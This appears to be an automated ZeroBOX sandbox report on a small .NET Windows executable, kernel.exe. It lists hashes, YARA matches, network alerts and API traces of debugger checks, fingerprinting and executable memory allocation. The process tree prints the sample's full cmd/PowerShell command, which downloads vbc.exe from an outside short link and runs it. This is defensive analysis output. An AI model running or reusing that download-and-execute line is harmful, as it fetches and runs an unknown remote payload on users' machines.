Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 7, 2021, 7:02 p.m.	Sept. 7, 2021, 7:17 p.m.

Size	4.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`e2178538425f24c99cc460d888733e28`
SHA256	`04e563d681fd508c27b020dc9f08e9129c71c5b2445616b5f871c0f225fb9ed3`
CRC32	`5F768F8B`
ssdeep	`48:6HRleO1ONPoQbJVlRCQ0o7jhIBBZsjyor58PlnE2OulZHGhqXSfbNtm:aIvpbN79K+jVmNnnrGjzNt`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware IsPE32 - (no description) Is_DotNET_EXE - (no description)

kernel.exe "C:\Users\test22\AppData\Local\Temp\kernel.exe"
2416
- cmd.exe "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('https://ggle.io/4Fj4', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
  2256
  - powershell.exe powershell (New-Object System.Net.WebClient).DownloadFile('https://ggle.io/4Fj4', 'C:\Users\test22\AppData\Local\Temp\\vbc.exe')
    2044
  - powershell.exe powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\vbc.exe'
    2656

Name	Response	Post-Analysis Lookup
ggle.io	A 151.101.1.195 A 151.101.65.195	151.101.65.195

IP Address	Status	Action
151.101.1.195	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49203 -> 151.101.1.195:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49204 -> 151.101.1.195:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2021, 7:02 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 7, 2021, 7:02 p.m.			0	0
IsDebuggerPresent Sept. 7, 2021, 7:02 p.m.			0	0
IsDebuggerPresent Sept. 7, 2021, 7:02 p.m.			0	0
IsDebuggerPresent Sept. 7, 2021, 7:02 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 90 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003d3fc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000444430 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000444430 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000444430 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b842a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b842a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b842990 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b842990 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b842990 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b842990 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b842df0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b842df0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b842df0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843250 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8432c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8432c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8432c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8432c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8432c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8432c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8432c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8432c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843330 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843330 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843330 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843480 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843480 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8434f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8434f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843560 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843560 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b843560 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b5fc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b5fc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b6340 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003b6340 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b872a70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b872a70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8436b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8436b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8436b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b8436b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000031dcc0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000399760 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000399760 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000399760 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b906a70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2021, 7:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b906a70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 7, 2021, 7:02 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 403 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000006c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000840000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef19bb000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000006c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000006c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1322000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91baa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c86000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bbc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cd0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91ba2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bcb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002920000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1321000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 7, 2021, 7:02 p.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef15a0000 process_handle: 0xffffffffffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('https://ggle.io/4Fj4', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
cmdline	powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\vbc.exe'
